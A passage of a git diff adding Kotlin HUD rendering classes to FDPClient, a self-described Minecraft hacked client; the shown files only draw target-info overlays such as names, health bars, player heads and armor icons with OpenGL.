net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import java.awt.Color +import java.text.DecimalFormat +import java.text.DecimalFormatSymbols +import java.util.* +import kotlin.math.pow + +abstract class TargetStyle(val name: String, val targetInstance: Targets, val shaderSupport: Boolean): MinecraftInstance() { + + var easingHealth = 0F + + val decimalFormat = DecimalFormat("##0.00", DecimalFormatSymbols(Locale.ENGLISH)) + val decimalFormat2 = DecimalFormat("##0.0", DecimalFormatSymbols(Locale.ENGLISH)) + val decimalFormat3 = DecimalFormat("0.#", DecimalFormatSymbols(Locale.ENGLISH)) + val easingHP = 0f + var Health = 0F + + fun getHealth(entity: EntityLivingBase?): Float { + return entity?.health ?: 0f + } + abstract fun drawTarget(entity: EntityLivingBase) + abstract fun getBorder(entity: EntityLivingBase?): Border? + + open fun updateAnim(targetHealth: Float) { + easingHealth += ((targetHealth - easingHealth) / 2.0F.pow(10.0F - targetInstance.globalAnimSpeed.get())) * RenderUtils.deltaTime + } + + open fun handleDamage(player: EntityPlayer) {} + + open fun handleBlur(entity: EntityLivingBase) {} + + open fun handleShadowCut(entity: EntityLivingBase) {} + open fun handleShadow(entity: EntityLivingBase) {} + + + fun fadeAlpha(alpha: Int) : Int { + return alpha - (targetInstance.getFadeProgress() * alpha).toInt() + } + + /** + * Get all values of element + */ + open val values: List<Value<*>> + get() = javaClass.declaredFields.map { valueField -> + valueField.isAccessible = true + valueField[this] + }.filterIsInstance<Value<*>>() + + fun getColor(color: Color) = ColorUtils.reAlpha(color, color.alpha / 255F * (1F - targetInstance.getFadeProgress())) + fun getColor(color: Int) = getColor(Color(color)) + + fun drawHead(skin: ResourceLocation, x: Int = 2, y: Int = 2, width: Int, height: Int, alpha: Float = 1F) { + glDisable(GL_DEPTH_TEST) + glEnable(GL_BLEND) + glDepthMask(false) + OpenGlHelper.glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO) + glColor4f(1.0F, 1.0F, 1.0F, alpha) + mc.textureManager.bindTexture(skin) + Gui.drawScaledCustomSizeModalRect(x, y, 8F, 8F, 8, 8, width, height, + 64F, 64F) + glDepthMask(true) + glDisable(GL_BLEND) + glEnable(GL_DEPTH_TEST) + } + + fun drawHead(skin: ResourceLocation, x: Float, y: Float, scale: Float, width: Int, height: Int, red: Float, green: Float, blue: Float, alpha: Float = 1F) { + glPushMatrix() + glTranslatef(x, y, 0F) + glScalef(scale, scale, scale) + glDisable(GL_DEPTH_TEST) + glEnable(GL_BLEND) + glDepthMask(false) + OpenGlHelper.glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO) + glColor4f(red.coerceIn(0F, 1F), green.coerceIn(0F, 1F), blue.coerceIn(0F, 1F), alpha.coerceIn(0F, 1F)) + mc.textureManager.bindTexture(skin) + Gui.drawScaledCustomSizeModalRect(0, 0, 8F, 8F, 8, 8, width, height, + 64F, 64F) + glDepthMask(true) + glDisable(GL_BLEND) + glEnable(GL_DEPTH_TEST) + glPopMatrix() + glColor4f(1f, 1f, 1f, 1f) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/AstolfoTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/AstolfoTH.kt new file mode 100644 index 0000000..631b438 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/AstolfoTH.kt @@ -0,0 +1,83 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.darker +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.abs + +class AstolfoTH(inst: Targets) : TargetStyle("Astolfo", inst, true) { + private var lastTarget: EntityPlayer? = null + + override fun drawTarget(entity: EntityLivingBase) { + val font = Fonts.minecraftFont + val healthString = "${decimalFormat2.format(entity.health)} " + + if (entity != lastTarget || easingHealth < 0 || easingHealth > entity.maxHealth || + abs(easingHealth - entity.health) < 0.01 + ) { + easingHealth = entity.health + } + val width = (38 + Fonts.minecraftFont.getStringWidth(entity.name)) + .coerceAtLeast(118) + .toFloat() + + updateAnim(entity.health) + + // Draw rect box + RenderUtils.drawRect(2F, -1F, width - 3F, 42F, targetInstance.bgColor.rgb) + + // Health bar + val healthLength = (entity.health / entity.maxHealth).coerceIn(0F, 1F) + RenderUtils.drawRect( + 36F, + 32.5F, + 42F + 69F, + 39F, + targetInstance.barColor.darker(0.3f) + ) + RenderUtils.drawRect( + 36F, + 32.5F, + 36F + (easingHealth / entity.maxHealth).coerceIn(0F, entity.maxHealth) * (healthLength + 74F), + 39F, + targetInstance.barColor.rgb + ) + + updateAnim(entity.health) + // Name + font.drawStringWithShadow(entity.name, 36F, 4F, Color(255, 255, 255).rgb) + + // HP + GL11.glPushMatrix() + GL11.glScalef(1.5F, 1.5F, 1.5F) + font.drawStringWithShadow("$healthString❤", 24F, 11F, targetInstance.barColor.rgb) + GL11.glPopMatrix() + + GlStateManager.resetColor() + GlStateManager.color(1.0f, 1.0f, 1.0f) + RenderUtils.drawEntityOnScreen(19, 38, 19, entity) + GlStateManager.resetColor() + + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 118F, 32F) + val width = (38 + Fonts.minecraftFont.getStringWidth(entity.name)) + .coerceAtLeast(118) + .toFloat() + return Border(2F, -1F, width - 3F, 42F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ChillTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ChillTH.kt new file mode 100644 index 0000000..f9ca2b4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ChillTH.kt @@ -0,0 +1,130 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.utils.CharRenderer +import net.ccbluex.liquidbounce.utils.extensions.darker +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 + +class ChillTH(inst: Targets) : TargetStyle("Chill", inst, true) { + + private val chillFontSpeed = + FloatValue("Chill-FontSpeed", 0.5F, 0.01F, 1F).displayable { targetInstance.styleValue.equals("Chill") } + private val chillRoundValue = + BoolValue("Chill-RoundedBar", true).displayable { targetInstance.styleValue.equals("Chill") } + + private val numberRenderer = CharRenderer(false) + + private var calcScaleX = 0F + private var calcScaleY = 0F + private var calcTranslateX = 0F + private var calcTranslateY = 0F + + fun updateData(_a: Float, _b: Float, _c: Float, _d: Float) { + calcTranslateX = _a + calcTranslateY = _b + calcScaleX = _c + calcScaleY = _d + } + + override fun drawTarget(entity: EntityLivingBase) { + updateAnim(entity.health) + + val name = entity.name + val health = entity.health + val tWidth = (45F + Fonts.font40.getStringWidth(name) + .coerceAtLeast(Fonts.font72.getStringWidth(decimalFormat.format(health)))).coerceAtLeast(120F) + val playerInfo = mc.netHandler.getPlayerInfo(entity.uniqueID) + + // background + RenderUtils.drawRoundedRect(0F, 0F, tWidth, 48F, 7F, targetInstance.bgColor.rgb) + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + + // head + if (playerInfo != null) { + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(4F, 4F, 34F, 34F, 7F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + drawHead(playerInfo.locationSkin, 4, 4, 30, 30, (1F - targetInstance.getFadeProgress()).toInt().toFloat()) + Stencil.dispose() + } + + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + + // name + health + Fonts.font40.drawString(name, 38F, 6F, getColor(-1).rgb) + numberRenderer.renderChar( + health, + calcTranslateX, + calcTranslateY, + 38F, + 17F, + calcScaleX, + calcScaleY, + false, + chillFontSpeed.get(), + getColor(-1).rgb + ) + + // health bar + RenderUtils.drawRoundedRect(4F, 38F, tWidth - 4F, 44F, 3F, targetInstance.barColor.darker(0.5F).rgb) + + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(4F, 38F, tWidth - 4F, 44F, 3F) + GL11.glDisable(GL11.GL_BLEND) + Stencil.erase(true) + if (chillRoundValue.get()) + RenderUtils.customRounded( + 4F, + 38F, + 4F + (easingHealth / entity.maxHealth) * (tWidth - 8F), + 44F, + 0F, + 3F, + 3F, + 0F, + targetInstance.barColor.rgb + ) + else + RenderUtils.drawRect( + 4F, + 38F, + 4F + (easingHealth / entity.maxHealth) * (tWidth - 8F), + 44F, + targetInstance.barColor.rgb + ) + Stencil.dispose() + } + + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 120F, 48F) + val tWidth = (45F + Fonts.font40.getStringWidth(entity.name) + .coerceAtLeast(Fonts.font72.getStringWidth(decimalFormat.format(entity.health)))).coerceAtLeast(120F) + return Border(0F, 0F, tWidth, 48F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/CrossSineTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/CrossSineTH.kt new file mode 100644 index 0000000..5c265ee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/CrossSineTH.kt @@ -0,0 +1,59 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class CrossSineTH(inst: Targets) : TargetStyle("CrossSine", inst, true) { + override fun drawTarget(entity: EntityLivingBase) { + val fonts = Fonts.SF + val leagth = if (fonts.getStringWidth(entity.name) < fonts.getStringWidth("HurtTime : ${entity.hurtTime}")) fonts.getStringWidth("HurtTime : ${entity.hurtTime}") else fonts.getStringWidth(entity.name) + updateAnim(entity.health) + RenderUtils.drawRoundedRect(0F,0F, 70F + leagth, 42F, 4F, Color(0,0,0,fadeAlpha(80)).rgb, 2F, + Color(100, 255, 255,255).rgb) + RenderUtils.drawRoundedGradientRectCorner(50F, 32F, 52F + ((8F + leagth) * easingHealth / 20),37F, 2F, + Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb, + Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb) + GlStateManager.enableBlend() + fonts.drawString(entity.name, 51F, 5F, Color(255,255,255,fadeAlpha(255)).rgb, true) + fonts.drawString("HurtTime : ${entity.hurtTime}", 51F, 18F, Color(255,255,255,fadeAlpha(255)).rgb, true) + GL11.glPushMatrix() + GL11.glTranslatef(7f, 7f, 0f) + GL11.glColor4f(1f, 1 - entity.hurtPercent, 1 - entity.hurtPercent, 1f) + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(-2F, -3F, 33F, 33F, 8F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + RenderUtils.drawHead(entity.skin, -2, -3, 35, 35, Color(255,255,255,fadeAlpha(255)).rgb) + Stencil.dispose() + GL11.glPopMatrix() + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + GlStateManager.resetColor() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + val entityNameWidth = if (entity != null) Fonts.SF.getStringWidth(entity.name) else 0 + return Border(0F, 0F, 70F + entityNameWidth, 42F) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ExhibitionTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ExhibitionTH.kt new file mode 100644 index 0000000..22346cd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ExhibitionTH.kt @@ -0,0 +1,115 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.darker +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class ExhibitionTH(inst: Targets) : TargetStyle("Exhibition", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val font = Fonts.fontTahoma + val minWidth = 126F.coerceAtLeast(47F + font.getStringWidth(entity.name)) + + RenderUtils.drawExhiRect(0F, 0F, minWidth, 45F, 1F - targetInstance.getFadeProgress()) + + RenderUtils.drawRect(2.5F, 2.5F, 42.5F, 42.5F, getColor(Color(59, 59, 59)).rgb) + RenderUtils.drawRect(3F, 3F, 42F, 42F, getColor(Color(19, 19, 19)).rgb) + + GL11.glColor4f(1f, 1f, 1f, 1f - targetInstance.getFadeProgress()) + RenderUtils.drawEntityOnScreen(22, 40, 16, entity) + + font.drawString(entity.name, 46, 5, getColor(-1).rgb) + + val barLength = 70F * (entity.health / entity.maxHealth).coerceIn(0F, 1F) + RenderUtils.drawRect( + 45F, + 14F, + 45F + 70F, + 18F, + getColor(BlendUtils.getHealthColor(entity.health, entity.maxHealth).darker(0.3F)).rgb + ) + RenderUtils.drawRect( + 45F, + 14F, + 45F + barLength, + 18F, + getColor(BlendUtils.getHealthColor(entity.health, entity.maxHealth)).rgb + ) + + for (i in 0..9) + RenderUtils.drawRectBasedBorder(45F + i * 7F, 14F, 45F + (i + 1) * 7F, 18F, 0.5F, getColor(Color.black).rgb) + + Fonts.fontTahomaSmall.drawString( + "HP:${entity.health.toInt()} | Dist:${ + mc.thePlayer.getDistanceToEntityBox( + entity + ).toInt() + }", 45F, 21F, getColor(-1).rgb + ) + + GlStateManager.resetColor() + GL11.glPushMatrix() + GL11.glColor4f(1f, 1f, 1f, 1f - targetInstance.getFadeProgress()) + GlStateManager.enableRescaleNormal() + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + RenderHelper.enableGUIStandardItemLighting() + + val renderItem = mc.renderItem + + var x = 45 + val y = 28 + + for (index in 3 downTo 0) { + val stack = entity.inventory[index] ?: continue + + if (stack.item == null) + continue + + renderItem.renderItemIntoGUI(stack, x, y) + renderItem.renderItemOverlays(mc.fontRendererObj, stack, x, y) + RenderUtils.drawExhiEnchants(stack, x.toFloat(), y.toFloat()) + + x += 16 + } + + val mainStack = entity.heldItem + if (mainStack != null && mainStack.item != null) { + renderItem.renderItemIntoGUI(mainStack, x, y) + renderItem.renderItemOverlays(mc.fontRendererObj, mainStack, x, y) + RenderUtils.drawExhiEnchants(mainStack, x.toFloat(), y.toFloat()) + } + + RenderHelper.disableStandardItemLighting() + GlStateManager.disableRescaleNormal() + GlStateManager.enableAlpha() + GlStateManager.disableBlend() + GlStateManager.disableLighting() + GlStateManager.disableCull() + GL11.glPopMatrix() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 126F, 45F) + + val font = Fonts.fontTahoma + val minWidth = 126F.coerceAtLeast(47F + font.getStringWidth(entity.name)) + + return Border(0F, 0F, minWidth, 45F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FDPTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FDPTH.kt new file mode 100644 index 0000000..05e1661 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FDPTH.kt @@ -0,0 +1,66 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.roundToInt + +class FDPTH(inst: Targets) : TargetStyle("FDP", inst, true) { + + private val fontValue = FontValue("Font", Fonts.font40).displayable { targetInstance.styleValue.equals("FDP") } + + override fun drawTarget(entity: EntityLivingBase) { + val font = fontValue.get() + val addedLen = (60 + font.getStringWidth(entity.name) * 1.60f) + + RenderUtils.drawRect(0f, 0f, addedLen, 47f, Color(0, 0, 0, 120).rgb) + RenderUtils.drawRoundedCornerRect(0f, 0f, (easingHP / entity.maxHealth) * addedLen, 47f, 3f, Color(0, 0, 0, 90).rgb) + + RenderUtils.drawShadow(0f, 0f, addedLen, 47f) + + val hurtPercent = entity.hurtPercent + val scale = if (hurtPercent == 0f) { 1f } else if (hurtPercent < 0.5f) { + 1 - (0.1f * hurtPercent * 2) + } else { + 0.9f + (0.1f * (hurtPercent - 0.5f) * 2) + } + val size = 35 + + GL11.glPushMatrix() + GL11.glTranslatef(5f, 5f, 0f) + GL11.glScalef(scale, scale, scale) + GL11.glTranslatef(((size * 0.5f * (1 - scale)) / scale), ((size * 0.5f * (1 - scale)) / scale), 0f) + GL11.glColor4f(1f, 1 - hurtPercent, 1 - hurtPercent, 1f) + RenderUtils.quickDrawHead(entity.skin, 0, 0, size, size) + GL11.glPopMatrix() + + GL11.glPushMatrix() + GL11.glScalef(1.5f, 1.5f, 1.5f) + font.drawString(entity.name, 39, 8, Color.WHITE.rgb) + GL11.glPopMatrix() + font.drawString("Health ${getHealth(entity).roundToInt()}", 56, 12 + (font.FONT_HEIGHT * 1.5).toInt(), Color.WHITE.rgb) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 150F, 47F) + + val font = fontValue.get() + val nameWidth = font.getStringWidth(entity.name) + val addedLen = (60 + nameWidth * 1.60f) + + return Border(0F, 0F, addedLen, 47F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FluxTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FluxTH.kt new file mode 100644 index 0000000..17e9633 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/FluxTH.kt @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class FluxTH(inst: Targets) : TargetStyle("Flux", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val width = (38 + entity.name.let(Fonts.font40::getStringWidth)) + .coerceAtLeast(70) + .toFloat() + + // draw background + RenderUtils.drawRect(0F, 0F, width, 34F, Color(40, 40, 40).rgb) + RenderUtils.drawRect(2F, 22F, width - 2F, 24F, Color.BLACK.rgb) + RenderUtils.drawRect(2F, 28F, width - 2F, 30F, Color.BLACK.rgb) + + // draw bars + RenderUtils.drawRect(2F, 22F, 2 + (easingHP / entity.maxHealth) * (width - 4), 24F, Color(231, 182, 0).rgb) + RenderUtils.drawRect(2F, 22F, 2 + (getHealth(entity) / entity.maxHealth) * (width - 4), 24F, Color(0, 224, 84).rgb) + RenderUtils.drawRect(2F, 28F, 2 + (entity.totalArmorValue / 20F) * (width - 4), 30F, Color(77, 128, 255).rgb) + + // draw text + Fonts.font40.drawString(entity.name, 22, 3, Color.WHITE.rgb) + GL11.glPushMatrix() + GL11.glScaled(0.7, 0.7, 0.7) + Fonts.font35.drawString("Health: ${decimalFormat.format(getHealth(entity))}", 22 / 0.7F, (4 + Fonts.font40.height) / 0.7F, Color.WHITE.rgb) + GL11.glPopMatrix() + + // Draw head + RenderUtils.drawHead(entity.skin, 2, 2, 16, 16, Color(255,255,255,fadeAlpha(255)).rgb) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 70F, 34F) + + val nameWidth = Fonts.font40.getStringWidth(entity.name) + val maxWidth = (38F + nameWidth).coerceAtLeast(70F) + + return Border(0F, 0F, maxWidth, 34F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/J3UltimateTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/J3UltimateTH.kt new file mode 100644 index 0000000..a698212 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/J3UltimateTH.kt @@ -0,0 +1,39 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.minecraft.entity.EntityLivingBase +import net.minecraft.util.EnumChatFormatting + +class J3UltimateTH(inst: Targets) : TargetStyle("J3Ultimate", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val targetHealth = entity.health.toInt() + val targetMaxHealth = entity.maxHealth.toInt() + Fonts.minecraftFont.drawString("[" + entity.name + "]", 36.0f, 3.0f, 0xFFFFFF, false) + Fonts.minecraftFont.drawString( + "" + targetHealth + " §4❤" + EnumChatFormatting.RESET + '/' + targetMaxHealth + " §4❤", + 38, + 12, + 0xFFFFFF + ) + } + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 90F, 36F) + + val nameWidth = Fonts.minecraftFont.getStringWidth("[" + entity.name + "]") + val healthWidth = Fonts.minecraftFont.getStringWidth("" + entity.health.toInt() + " §4❤" + EnumChatFormatting.RESET + '/' + entity.maxHealth.toInt() + " §4❤") + + val maxWidth = (36F + nameWidth).coerceAtLeast(38F + healthWidth).coerceAtLeast(90F) + + return Border(0F, 0F, maxWidth, 36F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/LiquidTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/LiquidTH.kt new file mode 100644 index 0000000..d024078 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/LiquidTH.kt @@ -0,0 +1,67 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.EntityLivingBase +import java.awt.Color + +class LiquidTH(inst: Targets) : TargetStyle("LiquidBounce", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + val width = (38 + entity.name.let(Fonts.font40::getStringWidth)) + .coerceAtLeast(118) + .toFloat() + // Draw rect box + RenderUtils.drawBorderedRect(0F, 0F, width, 36F, 3F, Color.BLACK.rgb, Color.BLACK.rgb) + + // Damage animation + if (easingHP > getHealth(entity)) { + RenderUtils.drawRect(0F, 34F, (easingHP / entity.maxHealth) * width, + 36F, Color(252, 185, 65).rgb) + } + + // Health bar + RenderUtils.drawRect(0F, 34F, (getHealth(entity) / entity.maxHealth) * width, + 36F, Color(252, 96, 66).rgb) + + // Heal animation + if (easingHP < getHealth(entity)) { + RenderUtils.drawRect((easingHP / entity.maxHealth) * width, 34F, + (getHealth(entity) / entity.maxHealth) * width, 36F, Color(44, 201, 144).rgb) + } + + entity.name.let { Fonts.font40.drawString(it, 36, 3, 0xffffff) } + Fonts.font35.drawString("Distance: ${decimalFormat.format(mc.thePlayer.getDistanceToEntityBox(entity))}", 36, 15, 0xffffff) + + // Draw info + RenderUtils.drawHead(entity.skin, 2, 2, 30, 30, Color(255,255,255,fadeAlpha(255)).rgb) + val playerInfo = mc.netHandler.getPlayerInfo(entity.uniqueID) + if (playerInfo != null) { + Fonts.font35.drawString("Ping: ${playerInfo.responseTime.coerceAtLeast(0)}", + 36, 24, 0xffffff) + } + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 118F, 36F) + + val nameWidth = Fonts.font40.getStringWidth(entity.name) + val distanceWidth = Fonts.font35.getStringWidth("Distance: ${decimalFormat.format(mc.thePlayer.getDistanceToEntityBox(entity))}") + val pingWidth = mc.netHandler.getPlayerInfo(entity.uniqueID)?.let { Fonts.font35.getStringWidth("Ping: ${it.responseTime.coerceAtLeast(0)}") } ?: 0 + + val maxWidth = (38 + nameWidth).coerceAtLeast(36 + distanceWidth).coerceAtLeast(36 + pingWidth).toFloat() + + return Border(0F, 0F, maxWidth, 36F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ModernTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ModernTH.kt new file mode 100644 index 0000000..3164826 --- /dev/null +++ 